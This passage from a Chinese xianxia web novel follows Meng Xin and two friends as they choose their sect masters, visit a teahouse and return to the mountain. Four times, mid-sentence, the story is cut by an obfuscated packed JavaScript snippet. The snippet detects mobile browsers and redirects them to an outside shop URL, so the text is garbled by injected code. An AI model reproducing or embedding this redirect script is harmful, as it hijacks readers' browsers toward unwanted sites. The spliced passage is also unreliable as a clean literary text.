许子墨不明显地皱了下眉,而彭笑寒更是毫不掩饰地抬头望去,拉住孟莘直言道:“是她出的主意,我们才能提前驯服一只锯齿鹰,躲过兽潮。否则筑基七级,在兽潮里也只不过是螳臂当车而已。” 俞宏光微微皱着眉头,扫了孟莘一眼。一个筑基一级、识海四星的庸才,实在不配他另眼相看。他只淡淡地夸赞了一句,“你既有这样的机敏,想必日后也能弥补先天不足,另有一番造化。” 这句话明褒实贬,彭笑寒显然有点不服,不过孟莘拉住了她轻轻摇摇头。 没必要在这时逞口舌之快,反正沧溟派是个什么样子,梁如安的记忆早展现得明明白白,孟莘也并没有什么多余的期待。 眼见气氛略有些不睦,二峰主魏明哲笑着打圆场,“那你三人想拜入哪一峰?如果峰主也愿意收下你们,今日这拜师礼就算成了。” 彭笑寒原本志向坚定,可刚才掌门那句话,却让她有些犹豫了。 孟莘用气声轻轻道:“选你想选的,别的都不用在意。” 他们来沧溟为的是学艺变强,除此以外,她觉得其他的都可以往后稍稍。 彭笑寒和她对视一眼,终于下定决心,“俞掌门,弟子彭笑寒,自幼立志学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068815|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑,希望能拜入您的门下成为一名剑修。” 俞宏光微不可查地有了点笑意,今年通过的人里,这个彭笑寒的根骨尤其适合剑道,另外那个少年虽无此根骨,不过既然都是六星识海,由他调教,将来的出息都不会差。 他淡声应道:“既入我门下,为师必然不会枉费你的天资,你所背这把重剑,与你并不相配,改日为师邀万剑宗为你再铸一柄宝剑,必能于剑道一日千里。” 这话一出,孟莘下意识看向彭笑寒,虽然从未谈过这件事,但是彭笑寒对那把重剑的看重程度,她却是看在眼里的。 果然,彭笑寒整个人怔住,半晌,才有些慌张地开口,“可是师傅,这把剑对我来说非同一般,我只有用这把剑才——” “那就休要叫我师傅!”俞宏光不耐烦地喝道,“不知是谁误人子弟教你用这样一把剑,我有心解你之困,若连这样的教导都不听从,我也不会收这样的弟子!” 他在掌门之位已经数十年,很久未曾尝过有人忤逆他的滋味。这个彭笑寒先为那个四星识海说话,接着又不接受他的好意点拨,这样的弟子,必得折断她那根反骨,才能教得了她。 来自渡劫期修士、这世上只有二十多位的至高之人的威压,哪怕只是随着怒气泄出的一点,对区区筑基的小弟子也是难以抵挡的。 彭笑寒作为被针对的中心,感受尤其强烈,脑子一白,罕见地陷入了茫然。 “噗。” 整个肃穆大厅中,突然传出这么一声轻笑,显然吸引了所有人的注意。 只见许子墨虽也脸色惨白,但还是挤出了个笑容,弯腰朝彭笑寒打了个响指,“慌什么?沧溟派这么大,难道还容不下你用一把夸张的剑了?” 俞宏光面色不善地看着他,“当众失仪、忤逆师长,这样的弟子,我剑道可容不下。” 他这话一出,前五峰都不可能再收许子墨。 沧溟派各峰的地位和资源依序而排,他一个六星,去后五峰不觉得冤枉? 然而许子墨只是坦然朝俞宏光拱手一拜,“多谢俞掌门点拨,弟子天性跳脱,看来是无缘于剑道了。” 他毫不留恋地走向第六峰峰主云自明,“弟子许子墨,愿自此以后专修鬼道,还请六峰主指教。” 一个被掌门属意的弟子忤逆掌门以后掉头去做鬼修? 云自明哪里敢随便答应,疯狂向其他峰主使眼色,但大家都纷纷转开了视线——笑话,谁敢这么碍掌门的眼? 这场面实在太难看了,眼见掌门师兄要发怒,二峰主魏明哲连忙挽救,“修道一途,岂能如此儿戏?看你们三人感情颇深,都入我门下,一同修炼吧。” 魏明哲也是渡劫期修士,在沧溟派地位仅次于俞宏光,和俞宏光关系也最亲近。 由他出面,俞宏光自然会卖他一个面子,而他堂堂渡劫期修士做两位六星、顺带一个四星的师傅,这三个刺头想来也该知足了。 俞宏光果然冷哼一声不再追究。 魏明哲稍松一口气,觉得此计甚妙,可解今日之难堪。 却万万没想到许子墨在那头苦笑出声,“可我想做鬼修,是认真的啊。” 魏明哲眉心一跳,尚未发作,就听见进门以后一直没什么存在感的那个四星也开口了。 “多谢二峰主好意,不过我也没有做剑修的打算。” 孟莘当着所有人不敢置信的目光,走到座次最末,第十峰韩晓蝶之处,认认真真拱手行礼。 “弟子孟莘,平生惟愿做一名器修,还请十峰主赐教。” 34. 第 34 章 韩晓蝶,老掌门在世时她是排行最末的那个弟子,后来时光流转,当年的师兄师姐们都独当一面成为峰主时,她也是最末的那个十峰主。 前有她三师兄梁峰清二十五岁突破化神、赢得最年轻化神境的美誉,后有她大师兄俞宏光、二师兄魏明哲接连突破渡劫,承继沧溟大统。 而哪怕是她的器修本职,也有天京万剑宗这么一座大山压在头顶,就算是她亲大师兄,一提炼器,说的也是万剑宗而不是她这个小师妹…… 毫不夸张地说,韩晓蝶的一生,是被惊才绝艳的天才们包围、被迫黯淡无光的一生。 韩晓蝶早已习惯放平心态,在无人在意的角落默默吃瓜看戏,直到那个少女当着所有人的面,径自走到她面前,请她收徒。 韩晓蝶疑心自己听错了,礼貌地问,“你说什么,我好像没听清?” 孟莘挑了下眉,一时摸不准这个十峰主是什么路数,不过还是重复道:“弟子孟莘,愿拜入十峰主门下,学习炼器。” 韩晓蝶这下知道自己确实没听错,但人也跟着麻了。 她倒不是嫌弃这孩子识海四星的天资,毕竟往常愿意来她第十峰的,基本都是其他峰挑剩下的,普遍天资平平。 问题是这孩子拒绝的是她二师兄诶!沧溟派第二峰诶!渡劫期的剑修诶! 她用一种恨铁不成钢的眼神看着孟莘,语重心长:“要么你再想想?去第二峰的机会可不多啊。” 孟莘看着韩晓蝶那副拼命想让她回头的表情,突然笑了,“十峰主,难道您觉得做器修是件很糟糕的事情吗?” “啊?”韩晓蝶茫然地摇了下头,那必然不啊,不然她为什么当年要做器修而不是剑修呢。 孟莘缓缓道:“既然做器修并没什么见不得人的,那我真心实意想做器修这件事,您为什么不相信呢?” 议事厅里跟着传来一声轻笑,许子墨也学着她,对云自明道:“是啊,六峰主,我真心想拜入您门下,为什么您不相信呢?” 韩晓蝶和云自明对视一眼,都露出苦笑。 韩晓蝶心里堵得慌,糟糕的是器修吗?糟糕的是她韩晓蝶比不过二师兄,糟糕的是她第十峰比不过第二峰啊! 这弟子怎的如此不通人事,这种事虽然大家心知肚明,但她堂堂峰主,总不能当众承认吧? 偏偏这弟子好像是真的不通人事,全然不顾他们为维持沧溟派各峰脸面所做的努力,坦言道:“如果十峰主是觉得,第十峰与其他峰相比,有所不及的话——” 说到这里,孟莘稍顿了一下,韩晓蝶感觉自己一口气跟着她提了起来,就快被她憋死了。 孟莘眉眼微翘,眸里隐含的笑意既像是玩笑、又像是笃定,慢悠悠道:“那就更不用担心了,您要相信弟子,弟子早晚会以器修的身份替师傅您光耀门楣,让第十峰变成其他峰仰望的所在。” 议事厅里陡然一静,韩晓蝶直接倒吸一口凉气。 落针可闻的大厅里,斜对面传来的一声哼笑清清楚楚地落在所有人耳朵里。 魏明哲向后靠在椅背上,端起旁边的茶盏浅抿一口,笑道:“师妹,既然这弟子志向坚定,你不如就收了她罢,也免得辜负她这一腔鸿鹄之志。” 韩晓蝶头都要大了。完蛋了完蛋了,二师兄露出这种表情那就是绝对生气了! 但是,她却也明白,事情闹成这样,也没有别的办法收场了。哪能因为区区收徒这种小事,传出他们沧溟派各峰主和一个小弟子过不去的话来? 她好歹也是小师妹,虽然黯淡无光,但在师兄师姐们面前,总算还沾点可以任性的本钱。 韩晓蝶缓缓叹了口气,从须弥戒中取出一枚白玉令牌,递到孟莘面前,“也罢,既如此,你从此便是我韩晓蝶的徒弟,这是我第十峰的令牌,你且收好。” 孟莘收敛起方才不正经的神色,郑重接过,恭恭敬敬地行了拜师礼,“弟子孟莘谨遵师尊教诲。” 这拜师礼行得倒也一丝不苟,韩晓蝶心里顺了一点,再看孟莘时,便觉得这弟子也算志存高远。 唉,张狂点也没事,谁年轻时没做过当天下第一的白日梦呢,况且她好像真的很想做器修,嗯,有眼光…… “咳,那——”云自明瞅了周围一眼,有了韩晓蝶打头阵,他心里也没那么虚了,六星识海的弟子他当然眼馋,“许子墨,你从今日起,便也是我第六峰的弟子了。” 许子墨严肃道:“是,师傅。” 这边厢两对师徒礼成,魏明哲神色不善地看向独自站在大厅中央的那个少女,“彭笑寒,他二人各有志向,你呢,你又想拜哪个峰了?” 不怪他阴阳怪气,他堂堂渡劫期修士好心救场,却在两个筑基期弟子那里碰了一鼻子灰,真的很难有什么好心情。 彭笑寒抬头看向孟莘和许子墨,他们两都对她微微一笑。 那是鼓励的笑容,从来只有一个含义——选你真正想选择的东西。 那颗被俞宏光扰乱的心重新定了下来,彭笑寒的目光落在魏明哲身上,手攥紧了那把重剑的剑柄。 “我平生立志修剑,除此以外不做他想。如果有幸能得二峰主教导,弟子三生有幸,只是这把剑对我来说意义非凡,我想修的道、我想去的地方,非这把剑不可。” 魏明哲犹豫地看向俞宏光,俞宏光已经不耐地撇过了头。 “罢了,你想用就用吧。”魏明哲终究是怜惜她这一身剑骨,将令牌掷过去,“只是你若想以这把剑抵达剑道巅峰,非得付出比别人更多的努力不可。” 彭笑寒接下令牌,朗声答道:“是,弟子绝不会荒废修炼。” 拜师礼成,魏明哲连忙招手,“雁灵,带他们三人下去,我们这边还有事情需要商量。” “是。”祝雁灵答应一声,使眼色让孟莘三人跟她出来。 青铜大门在他们身后缓缓闭合。 孟莘虽然并不紧张,但出来还是松了口气。 里面气氛压抑,一出门才觉出今日真是个天朗气清的好日子。 祝雁灵领着他们去戒律堂更新了身份,又分别递给他们三人一块玉牌,“这是传音玉牌,不论相隔多远,只要是加在玉牌上的人,都可以传讯给对方,我已经将我加在上面了,以后有事可以用玉牌联络。” 三人立刻开始互相添加对方。 祝雁灵看着面前的三颗小脑袋,下意识笑了一下,但立刻又想起什么,消沉了下去,“方才我师傅……他只是为人严厉,并不是什么坏人,你们……也不必在意,以后好好修炼就是了。” 三人都猝然抬头,掌门在议事厅的言行,三人平心而论,都很难觉得这是什么体面的姿态,但三人也都不愿意为难夹在中间的祝雁灵。 彭笑寒抿了下唇,“无妨,不过是剑道之争罢了。” “我皮糙肉厚,别人说几句影响不了我,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085794|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许子墨没正经地笑笑。 孟莘这时才后知后觉,传音玉牌是祝雁灵刚才从须弥戒中掏出来的,其实并不是沧溟派送内门弟子的东西,而是祝雁灵的私人赠予。 祝雁灵这是……在替她师傅道歉? 孟莘突然想起初见那天,祝雁灵为了解决范济闹出的丑事,也是自掏两瓶注灵丹…… 孟莘顿时心情复杂,觉得这沧溟派大师姐,也委实不好当啊。 “谢谢师姐。”这次她没再逗祝雁灵,只是单纯地道了谢。 “不必客气。”祝雁灵说:“我送你们下山吧,收拾好你们留在外门的东西,今天就可以去内门住了。” 不用走路下去,三人哪有不应。 “祝师姐!” 戒律堂里忽传来一阵急促脚步声,有个弟子三步并作两步冲出来,慌张大喊:“刚才有一名外门弟子的魂灯灭了!但是师兄师姐们都不在,我该怎么办?” 祝雁灵神色倏然一沉,“莫慌,我这就随你去看。” 她转头看向孟莘三人,“抱歉,我得食言了,不能送你们下山了。” 许子墨连忙摆手,“没事师姐,人命要紧,你先去忙吧。” 祝雁灵也不耽搁,随着那名弟子快步走进戒律堂。 “外门又有人出事了?”彭笑寒皱起眉头,显然她没忘记,这个月内,外门死了四个人,戒律堂来审问孟莘的事情。 “修士嘛,碰到个仇家再寻常不过了,下山吧。”许子墨并不在意。 他曾经怀疑、甚至可以说相信那四人的死和孟莘有关,但是这人的魂灯是刚才灭的,自然是和他们毫无关系了。 孟莘并没有出声,她静静站着,精神力高度集中,凝神捕捉祝雁灵和那名弟子的对话声,果不其然,从中听见了“范济”二字。 她微不可查地笑了一下,看来在内门考核前布置的机关,终于要了范济的命。 她和范济有仇,很多人都知道。 但她这几天一直在魔兽森林考核,出来以后更是一直处于诸位峰主和祝雁灵的视线之下,拥有完美的不在场证明。 曾经导致她被怀疑的魂灯,如今就是她没杀范济的铁证。 梁如安的仇,在这一刻,终于为她了结了。 那个无辜惨死的少女会因此稍得宽慰吗? 孟莘不知道,正因为不知道,所以在大仇得报的这一刻,反而生出一点无端的怅然。 “孟莘,愣着干嘛?”彭笑寒奇怪地叫她,“许子墨要请我们去山下吃饭,走吧?” 许子墨表情夸张地提醒她,“最后一堂课的时候,不是约好了,考核完就一起去山下玩的嘛!不是吧,你一点儿也不记得了?” 少年少女在阳光下表情鲜活动人,将孟莘从那个纠缠着生与死的灰色世界里拉了出来。 “来了,当然要去。” 她笑着往前迈了一步,随即和他们一起向沧溟山下跑去。 风从她耳畔吹过,扬起她的裙摆,那短暂的惆怅也渐渐坚定不移。 导致梁如安悲剧的原因太多了,范济五人不过是最后的推手。充满迷雾的过去和身世,放肆的嘲笑和奚落,全都铸造了梁如安的悲哀。 而她还能为梁如安做的,大概就是—— 你们觉得她登不上的山,我来替她登。 你们觉得她配不上的世界,我亲手替她杀进去。 (第一卷完) 35. 第 35 章 沧溟山最高的山巅在第一峰,站在其上俯视青州城时,总会给人一种,自己已羽化而登仙的奇妙滋味。 有人说高处不胜寒,但俞宏光只觉得这景象十分赏心悦目,他为了这个位置所付出的一切代价,也都是值得的。 “师兄。”一道温润的男声在他身后响起。 俞宏光并未回头,他自然知道来人是谁。 魏明哲缓缓走来,落后俞宏光一步,很有分寸感地停了下来,“今日议事厅人多口杂,所以我当时没能提醒你……我从弟子们那里听来了一件很有意思的事。” “什么?”俞宏光淡淡问道,显然他并不觉得弟子们口中能有什么值得他一听的情报。 “他们说,”魏明哲顿了许久,才有点艰难地说,“今天那个四星识海、叫孟莘的弟子,自称自己是三师弟的女儿。” 话音刚落,俞宏光鼻腔里就溢出一声不屑的冷哼,原本他就极为不喜孟莘那种毫无自知之明的狂悖之徒,这下更是觉得自己没有看错。 “真是不知廉耻的小人,以为什么人都可以肆意攀扯的吗?我说你怎么会突然想要收她为徒,原来是存着这样的心思!” 魏明哲有点怔怔的,“我只是觉得,如果万一真是他的孩子,那多照顾几分也是应该的。” 俞宏光终于回过头,垂眼打量着他的神色,“明哲,你糊涂了,峰清有没有子嗣,我们不是再清楚不过了吗?” 迎头撞上俞宏光冰冷的目光,魏明哲宛如被兜头一捧凉水浇下来,眼神瞬间清醒,颇有些狼狈地别过脸,“是啊,我真是糊涂了……我明知道,师弟是不可能有任何血脉的。” 俞宏光登高望远的好心情被彻底毁掉,他穿过魏明哲,淡声道:“你近些年修为停滞,该好好闭关修心了。至于那个弟子,不过是个四星识海的平庸之才,由她在第十峰自生自灭吧。” 渡劫期的修士瞬息之间便消失在原地,只剩下魏明哲一个人在山崖上,面无表情地迎风站着,不知道在想些什么。 * “不是,你这是有什么不能见人的吗?光天化日的,戴什么面具啊。” 沧溟山下,许子墨费解地看着对面戴着狐狸面具的少女。 这少女自然就是孟莘,她脸上的狐狸面,是当时在醉月长廊买来的,既能遮掩面容,又能掩盖气息,很是好用。 彭笑寒犹豫地看看她,又看看四周,压低声音:“这附近有你的仇人?” 孟莘摇摇头,“一言难尽,总之,要是你们不想再体验一次三天前丹墀上的盛况,我还是戴着面具为妙。” 许子墨和彭笑寒想到资格测试时的炸裂场面,异口同声:“那你还是戴着吧。” 孟莘无奈地摊了下手,“没办法,在这一片地方,我这张脸就是这么出名。” 好在青州城修士众多,戴个面具也不算什么稀奇事,他们并没有引起别人的注意,径自走近了一栋三层酒楼。 小二眼尖地瞥见他们腰间坠着的内门令牌,忙不迭地殷勤跑来,“三位仙君,快请进,一到三楼都有雅座,您三位想在哪落座?” “三楼靠窗,啊不,”许子墨瞥了一眼孟莘的狐狸面,心想吃饭时这面具总是要摘的,遂改口,“三楼不靠窗的包间。” “……好嘞,”小二从善如流地应下了这个奇葩要求,“请随小人来。” 三人上了三楼,走进一间雅间,便开始听小二报菜名。 许子墨和彭笑寒都很快点好了菜,见孟莘不吭声,东道主许子墨抬头问:“你爱吃什么?” “……你们随便点吧。”异世界来客孟莘并没怎么听懂那菜单,贫穷少女梁如安更没有吃到这些菜的机会。 许子墨便又加了几道菜,另外嘱咐,“把菜送到门口即可,不要有人进来打扰我们。” 小二忙不迭地称是,合上门出去了。 他既然想得这么周到,孟莘也就不必再戴着狐狸面,抬手摘了。 她按了按被面具压到的鼻梁,心想这家店的位置倒也巧,再远些就该出一里以外,她还得找借口劝他们别太远,而且待会吃完还可以去看看张之雁。 “你倒是挺……八面玲珑的。”彭笑寒看许子墨忙前忙后但又很自然的模样,颇有点意外。 她虽然早就知道许子墨是个人精,但人精得这么丝滑,还是出乎她的意料。 “嘿嘿,”许子墨把茶倒给她们上,端起自己的杯子悠悠喝了一口,“术业有专攻,实不相瞒,和人打交道,原本就算我的本职。” “什么本职?”彭笑寒顺嘴问道。 “你告诉我你那把剑是从哪来的,我就告诉你我的本职是什么。”许子墨笑眯眯道。 “哦,那算了。”彭笑寒立刻放弃,转头看向孟莘,“三峰主是怎么回事?” 孟莘沉默了一下。 “不能说就不用说。”彭笑寒补充了一句。 孟莘摇摇头,“不是不能说,是我自己其实也不太清楚,他可能是我爹,但也可能不是,见到他的面我才能确认。” 她这个认亲困局,对面两人倒是接受良好。 彭笑寒认真地想了想,“所以你才努力进内门,想知道三峰主的线索?” 许子墨更进一步,“祝师姐说三峰主在闭关,所以你其实是想混进他闭关的地方。” “有这部分原因,”孟莘认同了一半,“当然也是因为要修行,所以我会在不影响修行的前提下,去找梁峰清的线索。” “如果他闭关顺利,出来时就该是渡劫期修士了,确实得好好修炼才行。”彭笑寒眸色晦暗,显然是不觉得,一个不养育女儿的人会平心静气地和她认亲。 “嗯,我也这么觉得,”孟莘深表赞同,说不定她和梁峰清就会起冲突,“不过,我总觉得他未必能进渡劫期,闭关十几年也太久了。” 门外传来敲门声,许子墨去把他们的菜端了进来,这才道:“为冲击渡劫期闭关十几年算不得久,不过大家都说那位梁师叔是七星识海的顶级天才,十几年听起来确实非常不天才。” “所以……”孟莘叹了口气,“最坏的结果就是,他真的一直不出关,我修炼到化神境以后主动去找他。” 化神对化神,才能保障她在梁峰清面前的安全。 “那就修炼到化神吧,”彭笑寒很自然地说,“如果他到时候为难你,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093893|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以去帮你。” “到时候我们三个化神,会不会被人说我们以多欺少啊,”许子墨想得很美。 孟莘无奈,大概也只有他们这样六星识海的天才,才会认为修炼到化神境理所当然。感觉从认识以来,他们就从没觉得她这个三星四星的修炼会有问题。 孟莘并不太想总跟他们说谎,所以也不会去提醒他们这件事。 “对了,”孟莘夹了一筷子鱼,忽然想起什么,抬头看许子墨,“你怎么突然决定做鬼修了。” 彭笑寒也停下筷,疑惑看他,这一个月可从没听他说过。 “还不都是因为你们啊,”许子墨托着下巴无语地说:“本来吧,我自小符法天赋尚可,结果一来就碰到了你。” 他点了点孟莘,又转向彭笑寒,“本来吧,我虽然不爱学剑,但是堂堂渡劫期二峰主主动收徒,我大概也是会心动的,但我已经见过了你。” “小爷我幼时明明也是个好端端的天才,怎么撞见你们以后,我就这么悲哀了呢,”他长长叹一口气,“样样被人压一头,我只好另辟蹊径了。” 孟莘已经毫无听下去的兴趣了,重新低头扒拉碟子里那块鱼。 “……吃你的吧,”彭笑寒一听就知道这话真假参半。 三人吃吃喝喝,待出酒楼时,夜幕已降。 “那边的杂耍倒也好玩,我们去看看?”许子墨指着远处转着火圈的艺人。 到底是十几岁的少年少女,彭笑寒明显意动。 “你们去吧,”孟莘一看便知那里已经超过一里之外,况且她还想去探望张之雁,便作势打了个哈欠,“我先回去了。” 看她神色,彭笑寒和许子墨就知道劝不动她了,也没有再勉强,三人便在酒楼门口道了别。 孟莘先走进树林,摘下面具,换了身别的衣服,这才起身去往茶馆。 她不希望山下有人发现,方才和彭笑寒许子墨在一起的那个人就是她。 * 茶馆。 张之雁正冷着脸坐在柜台后面算账,李岩养了一个月的伤,才能重新走动,就和自己的狐朋狗友坐一桌喝起来。 他间歇性吆喝张之雁拿这拿那,张之雁虽然听从,却也没有一丝好脸色。 跑堂夹在这两人中间,这个月过得实在辛苦,自从那个梁如安溜去沧溟派以后,这两人三天一小吵五天一大吵,他都想跑路不干了。 门口铃铛一响,又踏进一位客人。 “来了!”跑堂麻溜地跑过去,视线从下往上抬起。 先看见一袭蓝色裙摆,哦,沧溟派的人,他了然。 再看到腰上的白玉令牌,但上面镶着金色剑纹,沧溟派内门弟子的令牌! 跑堂猛地一醒神,抬头时谄媚笑意已经爬上脸庞,“这位仙君,快请——” 最后一个字突兀地被他吞进了喉咙里,他呆呆看着面前笑靥如花的少女,感觉自己已经丧失了语言的能力。 “不认识我了?”少女轻轻笑道,却不是对他,而是对他身后的人。 算盘啪一声摔到地上,张之雁猝然站起,不敢置信地看着少女。 “莘莘?” 36. 第 36 章 “好久不见,之雁姐。” 孟莘径自从呆住的跑堂身边穿过,隔着柜台,冲张之雁笑了笑,“这个月你过得怎么样?” 张之雁有点不敢置信地看着孟莘。 一个月不见,少女原本瘦弱得堪称弱柳扶风的身体明显健康了许多,面色再也不似之前那样苍白,行走间脚步轻盈稳健,气质和一个月前大不相同。 一入仙门竟能有这般改头换貌的变化,难怪凡人挤破头也想挣一个外门弟子当当了。 张之雁原本有很多话想问,但刚一张嘴,眼泪便不受控制地簌簌下落,此时店内人多眼杂,她慌忙遮住脸,躲去了后院。 孟莘并未着急追去,而是先转头看着李岩,客气地说:“李叔,我去后院看看之雁姐,你不介意吧?” 李岩半醉的脑袋在看到她以后瞬间清醒,胸腔仿佛还能感受到肋骨断掉的疼痛。这个月他恨孟莘已经恨到想生啖其肉,可又被她腰间的白玉令牌镇住。 那不是沧溟派内门弟子的令牌吗?梁如安这个废物,竟然只过了一个月就成了沧溟派的内门弟子? 一个月前他还敢借着醉意欺她,但是现在却已经升不起任何作对之心,冷汗直冒:“当然,当然,如安,不管你走了多久,这间茶馆你随时都可以回来。” “那就多谢李叔了。”孟莘淡淡道,随后就撩开帘子进了后院。 张之雁坐在后院凉棚下面,仰头看着月亮,脸上神情已经平静下来。 孟莘走过去,坐到张之雁身边,一同看着月亮,轻声说起她的打算。 “我今天走了以后,哪怕是看在这块令牌的份上,他应该也不敢再对你动手。至于怎么带你离开这里,我已经有了点眉目。” 张之雁笑了笑,不得不说,在今天看到孟莘的第一眼,她立刻蒸腾起了希望,但很快,那些情绪就冷却了下来。 “从前,他看你柔弱可欺,不会答应你的要求;以后,他看你前途似锦,更不会答应你。你越在意我,他越会以我为把柄要挟你,我们连着妖奴契约,命绑在一起,他不会放弃这个机会的。” “所以,莘莘,你安心地在沧溟山上学艺就好,不要再被李岩这样的人沾上了。”张之雁温柔地揉了下孟莘的头发,“一个月的时间,成为内门弟子,一定付出了远超常人的代价才能做到吧。” 月光在孟莘此刻沉静的眸子里轻轻荡漾,这个月发生的一切都还历历在目。 秋霜林那晚的死斗和精疲力尽、为了掩盖伤痕在课上被杜雨兰打到晕厥、没日没夜的修炼和被戒律堂盯上的恐惧…… 这一个月所经历的一切酸楚,都是她必须封存的秘密,她不可能告诉彭笑寒许子墨,也不可能告诉张之雁。 但是,感受到张之雁轻抚自己发梢的力度,孟莘依然觉得,这样被人关心的滋味其实还不错。 而她会回赠张之雁同样的东西。 她侧过脸,凝视着张之雁的眼睛,“之雁姐,别觉得不可能。如果世上真有那么多不可能,那我就不会进入沧溟派,更不可能进入内门。我既然说了会救你,就一定会做到。” 如果说,一个月前,张之雁更多的是被孟莘传递的情绪感染,答应她不跟李岩鱼死网破,那么现在,就是真的从她平淡的语气中,体会到了她言出必行的决心和自信。 “好,”张之雁郑重地看着她,“不管多久,我都相信你一定会来救我。” 两人聊了半个时辰,孟莘这才告辞,临出门前还特意点了李岩几句,确认他不敢再对张之雁动手。 她在所有人的侧目下重新踏上回沧溟派的路,她并不介意那些落在令牌上的视线,毋宁说,知道梁如安是沧溟派内门弟子的人越多越好,越多,对李岩的震慑才越有效。 * 外门宿舍。 孟莘根本没什么东西要收拾,随手把几样杂物往芥子囊里一扔,就准备走了,不曾想门一打开,外面站着几个同期入门的弟子。 他们脸上都有几分挣扎,为首的那名少女率先朝她拱手行了一礼,“孟莘,这个月我们受师兄师姐影响,总是忽略你、甚至嘲笑你……今天来并不是希望你原谅,只是在丹墀上看你内门考核时的画面,让我们都很受鼓舞,以后我们会好好修炼,也祝你在内门前途似锦。” 孟莘平心而论,孤立和嘲讽对她实在没什么影响,她甚至没记住这几人的名字,谈不上有恩怨,但也确实没那个善心跟他们互诉同窗情。 “……无所谓了,要不要好好修炼就是你们的事情了,就此别过吧。” 她穿过这几人,没去看他们的表情。 走出一段,忽然想起她还有一个地方想去。 * 紫竹林照常没有一个人影。 孟莘真要怀疑这里是高人的禁地,所以才从没人到这么清幽的地方修炼。 半个多月过去了,都没有人来找过她的麻烦,她觉得紫竹林的这位高人,应当是对她没有恶意的。 孟莘熟门熟路地找到那棵竹子,上面又钉着一页符纸。只是经受风吹雨打,字迹已有几分模糊,如果她再晚几天,恐怕就看不清内容了。 不会是已经挂了半个多月了吧?孟莘心情复杂地揭了下来。 这道符文看起来,像是一道考题? 孟莘摸不准这位高人到底想做什么,不过她本身就对符法感兴趣,心痒难耐,顺势就解了起来。 这一解就是半个时辰,等她再睁开眼时,不由得赞了那高人一句:“好精密严整的符文!” 此人和女妖的水平不遑多让,两者只是风格不同,孟莘感觉心里有点痒。 这样的符法,每多见一次,都让她受益匪浅。以后女妖的符法会越来越难解,她现在多学一点,未来解开封印的可能性就越大。 明知道这样有点冒昧,她还是把自己的解法钉在了竹子上。 甚至这样还不满足。 她感觉自己在处理掉范济那五个仇人以后,真的是有点放松警惕了,可是—— “不知道您是什么身份,但晚辈只是热爱符法想同您探讨一下符文罢了!”她试探性地在林子里喊了一句。 没有反应。也许是不在,也许是不想同她见面。 她挣扎片刻,终于还是破罐子破摔地把自己传音玉牌的讯点留在了纸上。 传音玉牌的讯点独一无二,有了它,对方若是愿意,就可以加上她的传音玉牌。 反正对方应该没恶意,但凡有恶意,她的秘密应该早就藏不住了。 她留下了一句话:“这是我的传音玉牌,如果您有意,我们可以用玉牌探讨符法。” 至于对方愿不愿意,那就不由她控制了。 孟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105215|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莘趁自己还没后悔,大踏步走出了紫竹林。 * 等孟莘赶到第十峰时,已到了亥时。 上山的长阶,坐着一个白发老人,老人佝偻着背,手里握着一只酒葫芦,也并不喝,只是看着远方发呆,仿佛在等什么人归来似的。 孟莘不敢打扰,正预备安静地从他身边穿过,却被老人突然叫住。 “喂,你是今年新来的?” 孟莘转过头,看到老人朝她伸出手,非常理所当然的模样,“令牌给我看看。” 她愣了一下,不过想到沧溟派山门口值守的弟子,突然懂了,可能内门各峰也有人值守吧。 她顺从地把令牌递过去给他检查。 老人翻看了一下,就扔了回来,啧了一声:“今年第十峰只有你一个新弟子来,真是没落了啊。” 孟莘正色道:“准确来说,是今年一共只有三个人进入内门,而这三个人之一,”她指着自己,“视其他峰为无物,只愿到第十峰来。” 老人不信:“必然是剑峰不愿意收你,你才愿意到我们第十峰来。” 怎么一个两个的,都对第十峰这么没有信心? 孟莘必须得澄清一下,“恰好相反,是第二峰想要收我,但我不愿意去,反而求着不愿意收我的十峰主收下我。” 老人质疑的目光落在她身上,她一点也不怵地看回去。虽然二峰主收她只是顺带,但她这么说也算不上错,因此毫不心虚。 两人对视片刻,老人笑了,“你这小弟子倒是会说话。” “我只是嘴上厉害,您是真的厉害,”孟莘真心实意地说。 